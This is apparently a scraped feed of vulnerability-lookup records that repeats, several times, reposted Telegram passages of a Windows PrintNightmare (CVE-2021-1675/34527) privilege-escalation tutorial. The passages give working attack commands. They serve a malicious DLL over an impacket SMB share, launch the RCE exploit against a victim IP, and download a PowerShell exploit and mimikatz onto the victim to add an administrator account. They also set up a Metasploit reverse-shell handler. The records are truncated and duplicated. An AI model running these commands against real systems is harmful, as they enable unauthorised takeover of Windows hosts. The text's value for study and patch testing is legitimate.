\nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000 \n\nAlright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket\u2019s smbserver.\n\nAdd the share name you want (in my case, \u201cshare\u201d is used) and then supply the path (in my case, /root) where you have saved the malicious DLL.\npython3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000 \n\nWith everything prepped up and ready, we can launch the RCE exploit. The execution is simple\n\n./exploit.py credentials@IP \u2018UNC_PATH of DLL hosted\u2019\n\nHere, we just launched a share on impacket, we will use that as the UNC path\n./CVE-2021-34527.py ignite:123@192.168.1.190 '\\\\192.168.1.2\\share\\evil.dll' \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000 \n\nAs you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi-cJsoLFCiHhF_mINWMNCwEV-YUSjEGKu_GBfjXsLHyAnzcrQogResom4p7PLFa8zf2xOPyU10IW6SzlkjShspncLP4ln4wP67-WSlSnkfjJ67KUz6YGWjOxrgwjR0CZZtuLS0Lb1XTbSAIMv1ezEWWec4XXSRTXEuCOokJy6wJv8F7QT6-xXW10m5fw=s16000 Method 2 \u2013 PrintNightmare LPE using PowershellWe have seen the remote exploit pertaining to CVE 2021-34527. Now, we will see the older local privilege escalation exploit. AFWU had implemented the original exploit in C plus plus while Caleb Stewart and John Hammond created a working PoC in powershell. Unlike the traditional exploit, this version doesn\u2019t need an attacker to create SMB server in order to exploit. Instead of a remote UNC path injection, authors create a standalone DLL in temp directory and do a local UNC path injection.\ngit clone https://github.com/calebstewart/CVE-2021-1675.git\ncd CVE-2021-1675 && ls -al \nhttps://blogger.googleusercontent.com/img/a/AVvXsEioSYbe6pbkGih4ZUifWq[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T07:00:05.105370Z"}, {"uuid": "5e32cb3a-c600-417c-9cf6-2a0e8a90089f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/43511", "content": "FdyzeiMeaOByoi6UxaY1rYpMd-Cl25S3av86e5GqOsBg7QqegONtaIzAnkPy9JGnAeKeX2jHcqkmmKLbJRjFSA34EdOC3rmt-0G-XPjEtqE19Lb7l0AdV0kgxlBiOAe64zjyHg1ZQ38ccDB1MpeJ89gmmS3kLLImaxgxTc6Q=s16000 \n\nNow, once the victim is compromised, we can upload this ps1 file in \\Users\\Public directory using IWR and setting up a python http server in the CVE-2021-1675 directory.\ncd CVE-2021-1675\npython3 -m http.server 80\npowershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \\Users\\Public\\cve.ps1\ncd C:\\Users\\Public\ndir \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhV5QX_bfm1HwRTOt7-bbOEh4acNDeHiLp_mWoZXllcQaBEJgPwv5T4Z1b7XSIcG3ep9FMEZsNAfzjH47LQwg2K9_0H1lsYRhZpHw7u_p3U9LOhy87LSPGlH68kYoELn6EnPkOp7SRsweQFAjeZGvYvz4dTs4abBpB7B3yvZEWR0jeLrQG4DYfb5Kcg-w=s16000 \n\nNow, we can execute this ps1 file using powershell. This powershell script will help us in adding a new user in the administrator group using the credentials specified. For that, we need to spawn interactive powershell and Invoke the module like so:\npowershell -ep bypass\nImport-Module .\\cve.ps1\nInvoke-Nightmare -NewUser \"harsh\" -NewPassword \"123\" -DriverName \"PrintMe\" \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiMmenFoAuIRtWOt1XV3NPSMyjB_EeKHQW71ycKwtDxuRzCbezsomgzDP1R94z71PIWxMFQc_3ASWzbG_uvlCOqpivVmXj6l8x_Edpg92Qz8KVm203ho0-NcF7TWjmRYSta14levAffd6xUTTXJ2Z0rcaYg3TSknkcLAyLdeGlIxCU7HrLazhl5kWdTcA=s16000 \n\nAs you can see, the script has made a custom DLL that adds a new user \u201charsh\u201d with password 123 in admin group and the script has exploited print spool.\nnet localgroup administrator \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjm476TN7H3YlvqxDa1dYq4BrUhJUHeUM6B7XA05xAhW9XD3aE0yLp9N4Kphis7HZy_mMiO0GazkeL6sRW8vXJm1smajhy1UJwKOhfpIYKwffUrVISRkd7-e7DdOmuktmfeWYDcY4wigV3HDWXtxrUHN1x6BaC3DwQ-yFRfZyJjC7HG3N7TbYjoCFKYTw=s16000 \n\nWe can confirm this by logging in to the victim using psexec.\npython3 psexec.py harsh:123@192.168.1.190 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhXwS2ULWBm-dVWr2ZZ3fMPCZ3mtvMXMV7a7QNievbmtA0uuvGiuDwjnNBKSSdSaEsT45xbtNXUq6QAmuzftzuPcTny1CGqzUmRYjtmw_tz9EeKiKWe_mk0bn9nyn_XJwTlYM_unfZp6jQtDCQiqz6B0Gym7uUDmolyB3My1fSKoiwLRzCtiZv7HqC3tA=s16000 \n\nWe are able to log in with the credentials and can confirm using net user command that harsh is infact a member of administrators now. Method 3 \u2013 Printnightmare LPE using MimikatzWhen the PoC came on the internet, a new mimikatz plugin got added as a ritual in the misc section (misc::printnightmare). To exploit using mimikatz, we will use our existing DLL file \u201cevil.dll\u201d and also, we need our SMBserver running on the existing configuration. Now, we will download mimikatz.exe on our kali and start python HTTP server.\npython3 -m http.server 80\npowershell wget http://192.168.1.2/mimikatz.exe -O \\users\\Public\\mimikatz.exe\nmisc::printnightmare /library:\\\\192.168.1.2\\share\\evil.dll /authuser:ignite /authpassword:123 /try:50 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjbPSehsyW5w9-_styKI9fjXjcQxml03A699x7Tvx4YipBMDT7pMyQREXWO81mhpDscJx50ZNFPgXa7lr08Rqxq1aOIpFFUubIAb3-xuhKE_q2kQ-jI8i6_NVEn25Bxe_-E38iiqygysu5p4qKMBTIFT2SnrVpgbGcRmkIHgK0bJhrlpV1E7RkDsSRFcw=s16000 \n\nAs mimikatz has confirmed the execution has been successful. It throws an exception (probably because of some characters in the DLL) but the DLL has worked anyway and a reverse shell has been received on multi/handler.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEj6yzSnwBZy4M3Cxais8__2qdWrLRnohzaf0NvIni5rdqA4cLYNA4W5MzUtE1sx0_pRvvoxn7PUFH8EQMCrb0DXjnxN7lk797FjBg91YrAD4no7xhXRX_PadTQjUo6qp8QW193t6Rh79vebv1FTDKv68lyjf5_3WjtuEeQEWg-AbldS7P_DJ2YbtPuMyw=s16000 \n\nMake sure to set up a handler on Metasploit before running this command. If everything goes right, you shall see a reverse shell!\n\nAnd thus, we have conducted privilege escalation by exploiting PrintNightmare vulnerability. Patch StatusMicrosoft released out of band patches to deal with this vulnerability which can be found on the MSRC bulletin adv[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T07:00:05.247936Z"}, {"uuid": "897ff04b-0f15-4f09-9df0-5635de52598f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43508", "content": "Hacking Articles\nWindows Privilege Escalation: PrintNightmare\n\nIntroductionPrint Spooler has been on researcher\u2019s radar ever since Stuxnet worm used print spooler\u2019s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.\n\nRelated CVEs: CVE-2021-34527\n\nVulnerability Type\u00a0\u00a0\u00a0\u00a0 Remote Code Execution\n\nSeverity High\n\nBase CVSS Score\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9.3\n\nVersions Affected\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Windows_10:20h2, Windows_10:21h1, Windows_10:1607,\n\nWindows_10:1809, Windows_10:1909, Windows_10:2004,\n\nWindows_7sp1, Windows_8.1, Windows_rt_8.1,\n\nWindows_Server_2008, Windows_Server_2008,\n\nWindows_Server_2012, Windows_Server_2012:r2,\n\nWindows_Server_2016, Windows_Server_2016:20h2,\n\nWindows_Server_2016:2004, Windows_Server_2019 CVE-2021-1675\n\nVulnerability Type\u00a0\u00a0\u00a0\u00a0 Local Privilege Escalation\n\nSeverity High\n\nBase CVSS Score\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9.3\n\nVersions Affected\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Windows_10:20h2, Windows_10:21h1, Windows_10:1607,\n\nWindows_10:1809, Windows_10:1909, Windows_10:2004,\n\nWindows_7sp1, Windows_8.1, Windows_rt_8.1,\n\nWindows_Server_2008, Windows_Server_2008,\n\nWindows_Server_2012, Windows_Server_2012:r2,\n\nWindows_Server_2016, Windows_Server_2016:20h2,\n\nWindows_Server_2016:2004, Windows_Server_2019\n\nRelated Advisories:\n\n* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527\n* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527\n* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675 Table of Content* Print Spooler Basics\n* Vulnerability Summary\n* Vulnerability Flow\n* Machine IPs\n* Method 1 \u2013 PrintNightmare RCE using Python\n* Method 2 \u2013 PrintNightmare LPE using Powershell\n* Method 3 \u2013 Printnightmare LPE using Mimikatz\n* Patch Status\n* Conclusion Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgKK9SRwPXWdtJgPhf5s-QXJvGPeLuG0FaKQG4Pkd4xlMlzDpVW1k4e8KcFndBQ6aeV4In8oKdo_MZxVzbixWr1OBuvLvmGqCUXYa5I-Xc1np20mMwFCJVFs0WA1DCxk9ltFmkJFfnDJow9VOjYVEx6LEOoiabT1tnDt_nz9RGy8QZs-Nl7SrgmL6i9dg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv\u00a0is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe\u00a0is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll\u00a0determines which print provider to call, based on a printer name and passes function call to the correct provider. Vulnerability SummaryMS-RPRN protocol (Print System Remote Proto[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T07:00:05.021887Z"}, {"uuid": "d24f6735-303d-4265-aa97-3bc3352912e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/43511", "content": "FdyzeiMeaOByoi6UxaY1rYpMd-Cl25S3av86e5GqOsBg7QqegONtaIzAnkPy9JGnAeKeX2jHcqkmmKLbJRjFSA34EdOC3rmt-0G-XPjEtqE19Lb7l0AdV0kgxlBiOAe64zjyHg1ZQ38ccDB1MpeJ89gmmS3kLLImaxgxTc6Q=s16000 \n\nNow, once the victim is compromised, we can upload this ps1 file in \\Users\\Public directory using IWR and setting up a python http server in the CVE-2021-1675 directory.\ncd CVE-2021-1675\npython3 -m http.server 80\npowershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \\Users\\Public\\cve.ps1\ncd C:\\Users\\Public\ndir \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhV5QX_bfm1HwRTOt7-bbOEh4acNDeHiLp_mWoZXllcQaBEJgPwv5T4Z1b7XSIcG3ep9FMEZsNAfzjH47LQwg2K9_0H1lsYRhZpHw7u_p3U9LOhy87LSPGlH68kYoELn6EnPkOp7SRsweQFAjeZGvYvz4dTs4abBpB7B3yvZEWR0jeLrQG4DYfb5Kcg-w=s16000 \n\nNow, we can execute this ps1 file using powershell. This powershell script will help us in adding a new user in the administrator group using the credentials specified. For that, we need to spawn interactive powershell and Invoke the module like so:\npowershell -ep bypass\nImport-Module .\\cve.ps1\nInvoke-Nightmare -NewUser \"harsh\" -NewPassword \"123\" -DriverName \"PrintMe\" \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiMmenFoAuIRtWOt1XV3NPSMyjB_EeKHQW71ycKwtDxuRzCbezsomgzDP1R94z71PIWxMFQc_3ASWzbG_uvlCOqpivVmXj6l8x_Edpg92Qz8KVm203ho0-NcF7TWjmRYSta14levAffd6xUTTXJ2Z0rcaYg3TSknkcLAyLdeGlIxCU7HrLazhl5kWdTcA=s16000 \n\nAs you can see, the script has made a custom DLL that adds a new user \u201charsh\u201d with password 123 in admin group and the script has exploited print spool.\nnet localgroup administrator \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjm476TN7H3YlvqxDa1dYq4BrUhJUHeUM6B7XA05xAhW9XD3aE0yLp9N4Kphis7HZy_mMiO0GazkeL6sRW8vXJm1smajhy1UJwKOhfpIYKwffUrVISRkd7-e7DdOmuktmfeWYDcY4wigV3HDWXtxrUHN1x6BaC3DwQ-yFRfZyJjC7HG3N7TbYjoCFKYTw=s16000 \n\nWe can confirm this by logging in to the victim using psexec.\npython3 psexec.py harsh:123@192.168.1.190 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhXwS2ULWBm-dVWr2ZZ3fMPCZ3mtvMXMV7a7QNievbmtA0uuvGiuDwjnNBKSSdSaEsT45xbtNXUq6QAmuzftzuPcTny1CGqzUmRYjtmw_tz9EeKiKWe_mk0bn9nyn_XJwTlYM_unfZp6jQtDCQiqz6B0Gym7uUDmolyB3My1fSKoiwLRzCtiZv7HqC3tA=s16000 \n\nWe are able to log in with the credentials and can confirm using net user command that harsh is infact a member of administrators now. Method 3 \u2013 Printnightmare LPE using MimikatzWhen the PoC came on the internet, a new mimikatz plugin got added as a ritual in the misc section (misc::printnightmare). To exploit using mimikatz, we will use our existing DLL file \u201cevil.dll\u201d and also, we need our SMBserver running on the existing configuration. Now, we will download mimikatz.exe on our kali and start python HTTP server.\npython3 -m http.server 80\npowershell wget http://192.168.1.2/mimikatz.exe -O \\users\\Public\\mimikatz.exe\nmisc::printnightmare /library:\\\\192.168.1.2\\share\\evil.dll /authuser:ignite /authpassword:123 /try:50 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjbPSehsyW5w9-_styKI9fjXjcQxml03A699x7Tvx4YipBMDT7pMyQREXWO81mhpDscJx50ZNFPgXa7lr08Rqxq1aOIpFFUubIAb3-xuhKE_q2kQ-jI8i6_NVEn25Bxe_-E38iiqygysu5p4qKMBTIFT2SnrVpgbGcRmkIHgK0bJhrlpV1E7RkDsSRFcw=s16000 \n\nAs mimikatz has confirmed the execution has been successful. It throws an exception (probably because of some characters in the DLL) but the DLL has worked anyway and a reverse shell has been received on multi/handler.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEj6yzSnwBZy4M3Cxais8__2qdWrLRnohzaf0NvIni5rdqA4cLYNA4W5MzUtE1sx0_pRvvoxn7PUFH8EQMCrb0DXjnxN7lk797FjBg91YrAD4no7xhXRX_PadTQjUo6qp8QW193t6Rh79vebv1FTDKv68lyjf5_3WjtuEeQEWg-AbldS7P_DJ2YbtPuMyw=s16000 \n\nMake sure to set up a handler on Metasploit before running this command. If everything goes right, you shall see a reverse shell!\n\nAnd thus, we have conducted privilege escalation by exploiting PrintNightmare vulnerability. Patch StatusMicrosoft released out of band patches to deal with this vulnerability which can be found on the MSRC bulletin adv[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:30.948236Z"}, {"uuid": "09a31588-8495-42d1-a486-cc6dfcb094fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43510", "content": "for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit\u2019s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.\nuse auxiliary/admin/dcerpc/cve_2021_1675_printnightmare\nset RHOSTS 192.168.1.190\nset SMBUser ignite\nset SMBPass 123\nset DLL_PATH /\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000 \n\nWe now start a handler beforehand prior to executing our DLL file using the exploit.\nuse multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset LHOST 192.168.1.2\nset LPORT 4444\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000 \n\nNow, we need to clone the github repo. We are using a forked version of Cube0x0\u2019s original exploit.\ngit clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527\ncd PrintNightmare-CVE-2021-34527\nchmod 777 CVE-2021-34527.py \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000 \n\nAlright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket\u2019s smbserver.\n\nAdd the share name you want (in my case, \u201cshare\u201d is used) and then supply the path (in my case, /root) where you have saved the malicious DLL.\npython3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000 \n\nWith everything prepped up and ready, we can launch the RCE exploit. The execution is simple\n\n./exploit.py credentials@IP \u2018UNC_PATH of DLL hosted\u2019\n\nHere, we just launched a share on impacket, we will use that as the UNC path\n./CVE-2021-34527.py ignite:123@192.168.1.190 '\\\\192.168.1.2\\share\\evil.dll' \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000 \n\nAs you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi-cJsoLFCiHhF_mINWMNCwEV-YUSjEGKu_GBfjXsLHyAnzcrQogResom4p7PLFa8zf2xOPyU10IW6SzlkjShspncLP4ln4wP67-WSlSnkfjJ67KUz6YGWjOxrgwjR0CZZtuLS0Lb1XTbSAIMv1ezEWWec4XXSRTXEuCOokJy6wJv8F7QT6-xXW10m5fw=s16000 Method 2 \u2013 PrintNightmare LPE using PowershellWe have seen the remote exploit pertaining to CVE 2021-34527. Now, we will see the older local privilege escalation exploit. AFWU had implemented the original exploit in C plus plus while Caleb Stewart and John Hammond created a working PoC in powershell. Unlike the traditional exploit, this version doesn\u2019t need an attacker to create SMB server in order to exploit. Instead of a remote UNC path injection, authors create a standalone DLL in temp directory and do a local UNC path injection.\ngit clone https://github.com/calebstewart/CVE-2021-1675.git\ncd CVE-2021-1675 && ls -al \nhttps://blogger.googleusercontent.com/img/a/AVvXsEioSYbe6pbkGih4ZUifWq[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:30.803881Z"}, {"uuid": "57dbfbef-248c-4deb-8daa-3a1832c81cc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43503", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: PrintNightmare\n\nIntroductionPrint Spooler has been on researcher\u2019s radar ever since Stuxnet worm used print spooler\u2019s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.Related CVEs: Remote Code ExecutionSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,CVE-2021-1675Local Privilege EscalationSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,Table of Content\u00b7 Print Spooler Basics\u00b7 Vulnerability Summary\u00b7 Vulnerability Flow\u00b7 Machine IPs\u00b7 Method 1 - PrintNightmare RCE using Python\u00b7 Method 2 - PrintNightmare LPE using Powershell\u00b7 Method 3 - Printnightmare LPE using Mimikatz\u00b7 Patch Status\u00b7 ConclusionPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:30.453131Z"}, {"uuid": "72c3c074-e59a-424a-a969-39a745f029f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43508", "content": "Hacking Articles\nWindows Privilege Escalation: PrintNightmare\n\nIntroductionPrint Spooler has been on researcher\u2019s radar ever since Stuxnet worm used print spooler\u2019s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.\n\nRelated CVEs: CVE-2021-34527\n\nVulnerability Type\u00a0\u00a0\u00a0\u00a0 Remote Code Execution\n\nSeverity High\n\nBase CVSS Score\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9.3\n\nVersions Affected\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Windows_10:20h2, Windows_10:21h1, Windows_10:1607,\n\nWindows_10:1809, Windows_10:1909, Windows_10:2004,\n\nWindows_7sp1, Windows_8.1, Windows_rt_8.1,\n\nWindows_Server_2008, Windows_Server_2008,\n\nWindows_Server_2012, Windows_Server_2012:r2,\n\nWindows_Server_2016, Windows_Server_2016:20h2,\n\nWindows_Server_2016:2004, Windows_Server_2019 CVE-2021-1675\n\nVulnerability Type\u00a0\u00a0\u00a0\u00a0 Local Privilege Escalation\n\nSeverity High\n\nBase CVSS Score\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9.3\n\nVersions Affected\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Windows_10:20h2, Windows_10:21h1, Windows_10:1607,\n\nWindows_10:1809, Windows_10:1909, Windows_10:2004,\n\nWindows_7sp1, Windows_8.1, Windows_rt_8.1,\n\nWindows_Server_2008, Windows_Server_2008,\n\nWindows_Server_2012, Windows_Server_2012:r2,\n\nWindows_Server_2016, Windows_Server_2016:20h2,\n\nWindows_Server_2016:2004, Windows_Server_2019\n\nRelated Advisories:\n\n* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527\n* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527\n* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675 Table of Content* Print Spooler Basics\n* Vulnerability Summary\n* Vulnerability Flow\n* Machine IPs\n* Method 1 \u2013 PrintNightmare RCE using Python\n* Method 2 \u2013 PrintNightmare LPE using Powershell\n* Method 3 \u2013 Printnightmare LPE using Mimikatz\n* Patch Status\n* Conclusion Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgKK9SRwPXWdtJgPhf5s-QXJvGPeLuG0FaKQG4Pkd4xlMlzDpVW1k4e8KcFndBQ6aeV4In8oKdo_MZxVzbixWr1OBuvLvmGqCUXYa5I-Xc1np20mMwFCJVFs0WA1DCxk9ltFmkJFfnDJow9VOjYVEx6LEOoiabT1tnDt_nz9RGy8QZs-Nl7SrgmL6i9dg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv\u00a0is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe\u00a0is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll\u00a0determines which print provider to call, based on a printer name and passes function call to the correct provider. Vulnerability SummaryMS-RPRN protocol (Print System Remote Proto[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:30.713089Z"}, {"uuid": "a4b70da0-3cbe-46fb-b152-577428c35ced", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/32354", "content": "Exploit Collector\nPrintNightmare Vulnerability\n\nhttps://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png \nWhitepaper called PrintNightmare 